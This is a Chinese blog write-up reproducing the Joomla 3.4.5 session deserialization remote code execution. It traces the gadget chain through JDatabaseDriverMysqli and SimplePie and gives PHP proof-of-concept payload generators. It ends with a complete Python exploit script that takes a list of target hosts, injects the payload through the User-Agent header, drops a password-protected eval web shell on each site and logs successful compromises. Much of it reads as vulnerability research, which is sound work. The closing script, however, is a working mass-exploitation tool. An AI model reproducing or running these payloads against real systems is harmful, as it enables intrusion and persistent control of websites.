Joomla 3.4.5 反序列化漏洞复现

准备

Joomla3.4.5的源码可以在下面的链接中下载到:
Joomla 3.4.5源码
然后phpstudy建一下复现环境即可。要求php版本<5.6.13,原因如下:

在php>=5.6.13版本中修复此问题,5.6.13版本以前是第一个变量解析错误注销第一个变量,然后解析第二个变量,但是5.6.13以后如果第一个变量错误,直接销毁整个session。

然后直接访问网页,创建网站,创建数据库即可,环境即搭建成功。

使用vulhub同样可以:
vulhub:joomla3.4.5反序列化

我觉得一个大师傅说的很好:

整个漏洞可以拆为一个php漏洞、一个mysql漏洞、joomla本身对useragent处理的漏洞来看待。

1.mysql在低版本或未配置utf8mb4时处理4字节utf字符会从4字节处截断,即丢弃截断处后的字符。(在mysql 5.5.3以后 可以通过设置字段为utf8mb4来避免漏洞)

2.在低版本的php中,反序列化函数unserialize做了欠缺的异常处理。即不能正确解析需要反序列化的字符串时,会查找字符串中的下一个标识符"|",从此处分割,以标识符前段做段名,再次解析标识符后段的字符串,直到成功或返回空。(此漏洞修复版本为:4.5.45
5.5.29 5.6.13 7.x)

3.joomla在对useragent处理时会将useragent作为一个session存入数据库,没有过滤引起php反序列漏洞的"|"符号。

但是在此之前,先复现一下Joomla3.4.5的这个反序列化链的构造,先把POC构造出,再想办法利用这三个漏洞进行利用。

POC

起点肯定还是__destruct(),位于JDatabaseDriverMysqli类:
在这里插入图片描述
跟进:
在这里插入图片描述
connection可控,$this->disconnectHandlers同样可控,因此回调函数可控,但是回调函数的参数不可控,因此这里考虑寻找Joomla中的类的一个可利用的方法。找到了SimplePie类的init方法:

function init()
{
    
    
	// Check absolute bare minimum requirements.
	if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
	{
    
    
		return false;
	}
	// Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader.
	elseif (!extension_loaded('xmlreader'))
	{
    
    
		static $xml_is_sane = null;
		if ($xml_is_sane === null)
		{
    
    
			$parser_check = xml_parser_create();
			xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values);
			xml_parser_free($parser_check);
			$xml_is_sane = isset($values[0]['value']);
		}
		if (!$xml_is_sane)
		{
    
    
			return false;
		}
	}

	if (isset($_GET[$this->javascript]))
	{
    
    
		SimplePie_Misc::output_javascript();
		exit;
	}

	// Pass whatever was set with config options over to the sanitizer.
	$this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->cache_class);
	$this->sanitize->pass_file_data($this->file_class, $this->timeout, $this->useragent, $this->force_fsockopen);

	if ($this->feed_url !== null || $this->raw_data !== null)
	{
    
    
		$this->data = array();
		$this->multifeed_objects = array();
		$cache = false;

		if ($this->feed_url !== null)
		{
    
    
			$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
			// Decide whether to enable caching
			if ($this->cache && $parsed_feed_url['scheme'] !== '')
			{
    
    
				$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
			}

利用call_user_func:call_user_func($this->cache_name_function, $this->feed_url)
可以执行任意php命令了,但是打断点看一下怎么样才能执行到这里。首先是这里:

$this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->cache_class);
$this->sanitize->pass_file_data($this->file_class, $this->timeout, $this->useragent, $this->force_fsockopen);

必须有存在这两个方法的实例对象,即$this->sanitize,看一下,SimplePie_Sanitize类满足条件,构造一下即可。

另外一个需要注意的就是这里:

$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
	// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
    
    

$this->cache可控,控一下值即可。但是$parsed_feed_url['scheme']这里似乎没满足,看一下来源,经过了parse_url方法,跟进一下:
在这里插入图片描述
再跟进一下new SimplePie_IRI
在这里插入图片描述
scheme是$this->set_scheme($parsed['scheme']);创造了,看一下$parsed,跟进parse_iri:

function parse_iri($iri)
{
    
    
	preg_match('/^(([^:\/?#]+):)?(\/\/([^\/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?$/', $iri, $match);
	for ($i = count($match); $i <= 9; $i++)
	{
    
    
		$match[$i] = '';
	}
	return array('scheme' => $match[2], 'authority' => $match[4], 'path' => $match[5], 'query' => $match[7], 'fragment' => $match[9]);
}

scheme来自$match[2],是第二个子组捕获到的文本,看一下这个正则,第一个子组是(([^:\/?#]+):),第二个子组是:([^:\/?#]+)
分析一下,一个字符类,^:是不是冒号,因此基本上就是匹配一定数量非冒号,然后加上冒号就是第一个子组的匹配。最简单的构造就后面加上一个冒号即可,比如这样:

$this->cache_name_function="assert";
$this->feed_url='phpinfo();$a=":"';

即可绕过。构造一下POC:

<?php
class JSimplepieFactory {
    
    
}
class SimplePie_Sanitize{
    
    }
class JDatabaseDriverMysqli
{
    
    

    protected $a;
    protected $disconnectHandlers;
    protected $connection;

    public function __construct(){
    
    
        $this->connection=1;
        $this->a=new JSimplepieFactory();
        $b=new SimplePie();
        $this->disconnectHandlers=array(
            '1'=>array($b,'init')
        );
    }
}

class SimplePie
{
    
    
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $feed_url;
    public function __construct(){
    
    
        $this->cache_name_function="assert";
        $this->sanitize=new SimplePie_Sanitize();
        $this->cache=true;
        $this->feed_url='phpinfo();$a=":"';

    }
}
echo base64_encode(serialize(new JDatabaseDriverMysqli()));

和上面分析不同的是,还利用到了JSimplepieFactory这个类,因为默认情况下SimplePie是没有定义的,而JSimplepieFactory这个类中有这么一行代码:
在这里插入图片描述
JSimplepieFactory对象在加载的时候会导入SimplePie。
往index.php写个利用点:
在这里插入图片描述
利用成功:
在这里插入图片描述

理清了POC之后,再看看如何利用。

POC的利用

漏洞的关键就在于Joomla处理ua头和xff头的时候,会把他们设置到session中,存储在数据库中,关键在于文件session.php的_validate()函数,重点是这些代码:

// Record proxy forwarded for in the session in case we need it later
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
    
    
	$this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
..................
..................
..................
// Check for clients browser
if (in_array('fix_browser', $this->security) && isset($_SERVER['HTTP_USER_AGENT']))
{
    
    
	$browser = $this->get('session.client.browser');

	if ($browser === null)
	{
    
    
		$this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
	}
	elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
	{
    
    
		// @todo remove code: 				$this->_state	=	'error';
		// @todo remove code: 				return false;
	}
}
}

继续跟进,就会发现会把ua头和xff的内容写进session中,像这样:
在这里插入图片描述
正常来说是利用不了的,但是对于<php5.6.13的php:

反序列化函数unserialize做了欠缺的异常处理。即不能正确解析需要反序列化的字符串时,会查找字符串中的下一个标识符"|",从此处分割,以标识符前段做段名,再次解析标识符后段的字符串,直到成功或返回空。

PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

因此考虑到session反序列化的内容是可控的,可以进行恶意的插入。根据上面的图片可以看到,插入的内容的后面仍然有很多的东西,可能会造成影响,可以这样:

mysql在低版本或未配置utf8mb4时处理4字节utf字符会从4字节处截断,即丢弃截断处后的字符。(在mysql 5.5.3以后 可以通过设置字段为utf8mb4来避免漏洞)

至此,这条攻击链就比较清晰了,POC如下:

<?php
class JSimplepieFactory {
    
    
}
class SimplePie_Sanitize{
    
    }
class JDatabaseDriverMysqli
{
    
    

    protected $a;
    protected $disconnectHandlers;
    protected $connection;

    public function __construct(){
    
    
        $this->connection=1;
        $this->a=new JSimplepieFactory();
        $b=new SimplePie();
        $this->disconnectHandlers=array(
            '1'=>array($b,'init')
        );
    }
}

class SimplePie
{
    
    
    var $sanitize;
    var $cache;
    var $cache_name_function;
    //var $javascript;
    var $feed_url;
    public function __construct(){
    
    
        $this->cache_name_function="assert";
        $this->sanitize=new SimplePie_Sanitize();
        $this->cache=true;
        //$this->javascript=9999;
        //$this->feed_url="phpinfo();";
        //$this->feed_url="phpinfo();JFactory::getConfig();exit;";
        $this->feed_url='phpinfo();$a=":"';

    }
}
echo "123\"}__test|".str_replace(chr(0)."*".chr(0),'\0\0\0',serialize(new JDatabaseDriverMysqli()))."\xF0\x9D\x8C\x86";

但是把chr(0)*chr(0)替换成\0\0\0的原因,在于Joomla本身对于session的处理,从数据库中取出session的内容的时候,会把\0\0\0替换成chr(0)*chr(0)
在这里插入图片描述
把得到的攻击数据放到UA头上,然后删掉cookie,进行生成新的cookie:
在这里插入图片描述

带上cookie再访问,发现phpinfo成功执行:
在这里插入图片描述
也可以利用大师傅的脚本:

#coding:utf-8
'''
author:F0rmat
vul:Joomla! 1.5 < 3.4.5 - Object Injection Remote Command Execution
'''
import requests
from optparse import OptionParser

def get_url(url, user_agent):
    headers = {
    
    
        'User-Agent': user_agent
    }
    cookies = requests.get(url, headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers, cookies=cookies)
    return response.content

def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))

    return encoded[:-1]

def generate_payload(php_payload):
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))

    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate

    print  exploit_template
    return exploit_template

def check(url):
    response = requests.get(url)
    return response.content

def exploit(Host):
    turl = Host
    syscmd = "file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/tmp/shell.php',base64_decode('dnZ2PD9waHAgZXZhbCgkX1BPU1Rbenp6XSk7Pz4='));"
    #syscmd = 'print_r($_SERVER);'
    pl = generate_payload(syscmd)
    try:
        get_url(turl, pl)
        url = turl + '/tmp/shell.php'
        if 'vvv' in check(url):
            print u"成功!shell为" + turl + u"shell.php,密码为zzz"
            with open("success.txt", "a+") as f:
                f.write(url + '  pass:zzz' + "\n")
        else:
            print turl+u"失败!漏洞已修补或版本不同!"
    except:
        print turl+u"失败!漏洞已修补或版本不同!"

def main():
    parser = OptionParser('usage %prog -H <target host> -f <target file>')
    parser.add_option("-H", dest="host",type="string",help="target host e:http://xxx.com/")
    parser.add_option("-f", dest="file",type="string",help="target file ")
    (options, args) = parser.parse_args()
    Host = options.host
    file = options.file
    if (Host == None):
        if(file == None):
            print parser.usage
            exit(0)
        else:
            with open(file,'r') as tfile:
                for fhost in tfile.readlines():
                    fhost=fhost.rstrip("\n")
                    exploit(fhost)
    else:
        exploit(Host)
if __name__ == '__main__':
    main()

对于php版本>=5.6.13:

在php>=5.6.13版本中修复此问题,5.6.13版本以前是第一个变量解析错误注销第一个变量,然后解析第二个变量,但是5.6.13以后如果第一个变量错误,直接销毁整个session。

因此对于5.6.13及以后的版本无法实现此session反序列化。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/114282086